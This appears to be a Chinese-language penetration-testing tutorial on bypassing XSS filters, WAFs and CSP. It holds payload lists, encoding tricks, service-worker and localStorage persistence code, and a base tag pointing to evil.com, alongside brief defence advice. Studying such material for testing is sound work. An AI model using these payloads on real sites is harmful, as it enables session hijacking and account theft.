1. XSS攻击的本质与防御逻辑
跨站脚本攻击(XSS)作为OWASP Top 10常客,其核心在于攻击者将恶意脚本注入到受信任的网页中。当其他用户访问该页面时,浏览器会执行这些脚本,导致会话劫持、钓鱼攻击等后果。现代Web应用通常采用以下防御机制:
- 输入过滤:移除或转义特殊字符(如< > " ')
- 输出编码:根据上下文对动态内容进行HTML/JS/URL编码
- CSP策略:通过Content-Security-Policy限制脚本来源
这些防御措施看似严密,但实际存在大量可被绕过的逻辑漏洞。以最常见的输入过滤为例,开发人员常犯的错误是仅对特定字符进行黑名单过滤,而忽略了字符的多重表示形式和上下文差异。
2. 基础过滤绕过技巧解析
2.1 HTML上下文绕过
当注入点位于HTML标签之间时,常规的<script>alert(1) `会被直接拦截。但以下变形方式往往有效:
<!-- 利用未过滤的HTML事件属性 --> <img src=x onerror=alert(1)> <!-- 大小写混淆 --> <ScRiPt>alert(1)</sCriPt> <!-- 省略闭合标签 --> <svg/onload=alert(1)> <!-- 利用JavaScript伪协议 --> <a href="javascript:alert(1)">click</a>关键点:观察过滤规则是否检查完整的标签结构,测试哪些特殊字符被允许
2.2 JavaScript上下文绕过
当注入点位于<script>标签内时,需要突破字符串边界限制:
// 原始代码 var userInput = '[可控点]'; // 闭合字符串并执行新语句 ';alert(1);// // 利用模板字符串 ${alert(1)} // 通过八进制编码 \74script\76alert(1)\74/script\762.3 DOM型XSS特殊技巧
基于DOM的XSS不依赖服务器端响应,主要利用客户端JS处理漏洞:
// 常见的危险函数 eval(location.hash.slice(1)); document.write(untrustedData); // 绕过方案 #javascript:alert(1) <img src=x onerror=alert(1)>3. 高级Payload变形技术
3.1 编码混淆技术
现代WAF通常具备语法分析能力,简单的字符替换已不再有效。需要组合使用多种编码:
// 多重URL编码 %253Cscript%253Ealert(1)%253C/script%253E // Unicode转义 \u003cscript\u003ealert(1)\u003c/script\u003e // HTML实体编码 <script>alert(1)</script> // 混合编码 <scr\u0069pt>alert(1)</scr\u0069pt>3.2 非常用标签与属性挖掘
除了常见的<script>和事件处理器,这些冷门元素往往被忽略:
<!-- <details>标签的ontoggle事件 --> <details open ontoggle=alert(1)> <!-- <object>的数据加载 --> <object data="javascript:alert(1)"> <!-- <embed>的src属性 --> <embed src=javascript:alert(1)> <!-- <iframe>的srcdoc属性 --> <iframe srcdoc="<script>alert(1)</script>">3.3 基于上下文的链式攻击
当单一注入点受限时,可组合多个看似无害的操作:
- 通过
<base>标签修改后续资源加载路径 - 利用
<meta>标签进行UTF-7编码攻击 - 配合AngularJS等框架的模板注入
<!-- 修改资源加载路径 --> <base href="//evil.com"> <!-- UTF-7编码攻击 --> <meta charset="UTF-7"> +ADw-script+AD4-alert(1)+ADw-/script+AD4-4. 实战场景Payload库
4.1 受限字符场景
当尖括号被过滤时:
// 使用预定义字符实体 <script>alert(1)</script> // 纯事件处理器 " autofocus onfocus=alert(1) x="4.2 内容安全策略(CSP)绕过
针对常见的CSP策略:
<!-- 允许self时利用JSONP端点 --> <script src="/api/user?callback=alert(1)"></script> <!-- 允许Google Analytics时 --> <script src="https://www.google-analytics.com/analytics.js"></script> <script>alert(1)</script>4.3 存储型XSS持久化技巧
确保Payload在不同场景下存活:
// 避免触发WAF的延时执行 setTimeout("alert(1)",3000) // 使用localStorage存储恶意代码 eval(localStorage.getItem('payload'))5. 防御措施与测试方法论
5.1 开发者防护建议
- 严格实施上下文相关的输出编码
- 使用DOMPurify等专业库进行HTML净化
- 配置全面的CSP策略并禁用内联脚本
- 定期更新WAF规则库
5.2 渗透测试流程
- 识别所有用户输入点(URL/表单/Cookie/Headers)
- 测试基础Payload并观察过滤行为
- 逐步尝试编码混淆和变形技术
- 验证DOM操作和异步加载场景
- 检查第三方依赖的XSS连锁风险
5.3 自动化测试工具链
- OWASP ZAP:自动化扫描与手动测试结合
- XSS Hunter:捕获盲注场景
- DOM Invader(Burp Suite插件):可视化DOM操作风险
6. 经典案例复盘
某电商平台搜索框过滤了<script>但允许SVG标签:
<svg><script>alert(1)</script></svg> <!-- 被拦截 --> <svg><script x=">alert(1)</script> <!-- 成功执行 -->某CMS系统在JSON响应中错误使用innerHTML:
// 后端返回 {"data": "<img src=x onerror=alert(1)>"} // 前端危险处理 element.innerHTML = response.data;7. 新型攻击向量探索
7.1 Web Components Shadow DOM
Shadow DOM的封闭性可能带来新的绕过机会:
customElements.define('xss-element', class extends HTMLElement { constructor() { super(); this.attachShadow({mode: 'open'}).innerHTML = '<script>alert(1)</script>'; } });7.2 Service Worker劫持
通过注册恶意Service Worker实现持久化攻击:
navigator.serviceWorker.register('sw.js').then(() => { location.reload(); }); // sw.js内容 self.addEventListener('fetch', e => { if(e.request.url.includes('login')) { e.respondWith(new Response('<script>alert(1)</script>')); } });8. 防御体系构建要点
- 输入验证:白名单优于黑名单
- 输出编码:根据上下文(HTML/JS/URL/CSS)选择编码方案
- 安全API:使用textContent代替innerHTML
- 沙箱隔离:对富文本使用iframe沙箱
- 监控响应:实时检测XSS攻击尝试
在最近一次银行系统渗透测试中,我们发现其虽然过滤了常见XSS向量,但允许<math>标签的href属性包含javascript:协议。通过组合MathML和SVG命名空间,最终构造出如下有效Payload:
<math> <maction actiontype="statusline"> <a href="javascript:alert(1)">click</a> </maction> </math>这个案例表明,深度理解各种HTML规范的特殊处理规则,往往能发现出人意料的攻击路径。建议安全团队定期研究WHATWG和W3C的最新标准变更,提前预防新型攻击手法。